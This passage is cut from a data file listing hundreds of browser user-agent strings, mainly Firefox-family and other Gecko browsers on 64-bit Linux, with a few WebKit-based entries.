Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009072220 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010010604 prism/0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.19) Gecko/2011050707 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008112012 Minefield/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122010 Firefox/2.0.0.3 (Debian-3.0.5-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122903 Gentoo Iceweasel/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Iceweasel/3.0.7 (Debian-3.0.7-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Minefield/3.0 MEGAUPLOAD 2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2010012717 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko Kazehakase/0.5.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032813 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032809 Iceweasel/3.0.7 (Debian-3.0.7-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033008 GranParadiso/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033109 Gentoo Iceweasel/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Ubuntu/9.04 (jaunty) Shiretoko/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.10) Gecko/20100621 Fedora/3.0.5-1.fc13 Lightning/1.0b2pre Thunderbird/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.10) Gecko/20100623 Fedora/2.0.5-1.fc12 SeaMonkey/2.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100714 SUSE/2.0.6-2.1 SeaMonkey/2.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100720 Fedora/2.0.6-1.fc12 SeaMonkey/2.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100721 Iceape/2.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.11) Gecko/20100721 SeaMonkey/2.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.14) Gecko/20101020 Conkeror/0.9.2 (Debian-0.9.2+git100804-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101028 Conkeror/0.9.2 (Debian-0.9.2+git100804-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20101206 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080514 Firefox/2.0.0.14 Flock/1.1.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20101209 Conkeror/0.9.2 (Debian-0.9.2+git100804-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20101227 Iceape/2.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20110107 Iceweasel/3.5.16 (Debian-3.0.5-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20110302 Iceape/2.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20111108 Iceweasel/3.5.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110121 SUSE/2.0.12-0.2.1 SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110303 SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1pre) Gecko/20090701 Ubuntu/9.04 (jaunty) Shiretoko/3.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091010 Iceweasel/3.5.3 (Debian-3.5.3-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100206 SUSE/2.0.3-0.1.1 SeaMonkey/2.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100408 Thunderbird/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20100110 Shiretoko/3.5.8pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20100112 Shiretoko/3.5.8pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100317 SUSE/2.0.4-3.2 Lightning/1.0b1 SeaMonkey/2.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100502 Iceape/2.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9pre) Gecko/20100212 SeaMonkey/2.0.4pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1a2pre) Gecko/2008080205 Minefield/3.1a2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b1pre) Gecko/20080929020931 Minefield/3.1b1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b2pre) Gecko/20081115 Minefield/3.1b2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20081222 Shiretoko/3.1b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20081223 Shiretoko/3.1b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090109 Shiretoko/3.1b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090302 SeaMonkey/2.0b1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4pre) Gecko/20090401 Ubuntu/9.04 (jaunty) Shiretoko/3.5b4pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b4pre) Gecko/20090404 Shiretoko/3.5b4pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b5pre) Gecko/20090424 Shiretoko/3.5b5pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100928 Namoroka/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10pre) Gecko/20100826 Ubuntu/9.04 (jaunty) Namoroka/3.6.10pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12pre) Gecko/20101011 Ubuntu/10.04 (lucid) Namoroka/3.6.12pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-3.el4 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101214 IceCat/3.6.13 (like Firefox/3.6.13) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.14pre) Gecko/20110111 Ubuntu/8.04 (hardy) Namoroka/3.6.14pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15pre) Gecko/20110130 Ubuntu/10.10 (maverick) Namoroka/3.6.15pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18pre) Gecko/20110515 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.18pre) Gecko/20110515 Ubuntu/9.10 (karmic) Namoroka/3.6.18pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.2pre) Gecko/20100129 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.2pre) Gecko/20100306 Namoroka/3.6.2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.2pre) Gecko/20100310 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100402 Namoroka/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3pre) Gecko/20100324 Ubuntu/9.04 (jaunty) Namoroka/3.6.3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.5pre) Gecko/20100526 Namoroka/3.6.5pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.5pre) Gecko/20100526 Ubuntu/10.04 (lucid) Namoroka/3.6.5pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100805 Namoroka/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20081205 Minefield/3.2a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090331 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090417 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090418 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090501 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090716 Minefield/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090817 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090824 Ubuntu/9.10 (karmic) Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090901 Ubuntu/9.10 (karmic) Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090908 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a4pre) Gecko/20100318 Minefield/3.7a4pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a1) Gecko/20060112 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b2) Gecko/2007122607 Minefield/3.0b2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Minefield/3.0pre Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/532+ (KHTML, like Gecko) Safari/419.3 Midori/0.1.8 Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AT Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.8.0.2965AT Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.13) Gecko/20080322 Epiphany/2.22 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.13) Gecko/20080326 (Debian-1.8.1.13-1) Epiphany/2.20 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.14) Gecko/20080616 Fedora/2.20.3-4.fc8 Epiphany/2.20 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.3) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.4) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.4) Gecko/20070628 Epiphany/2.16 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.1) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.14) Gecko/20080528 Epiphany/2.22 (Debian/2.26.3-2) Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.14) Gecko/20080528 Ubuntu/9.10 (karmic) Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.7) Gecko/20080528 Epiphany/2.22 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 (Debian/2.24.3-2) Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.8) Gecko/20080528 Fedora/2.24.3-4.fc10 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.2) Gecko/2008091920 Firefox/3.0.2 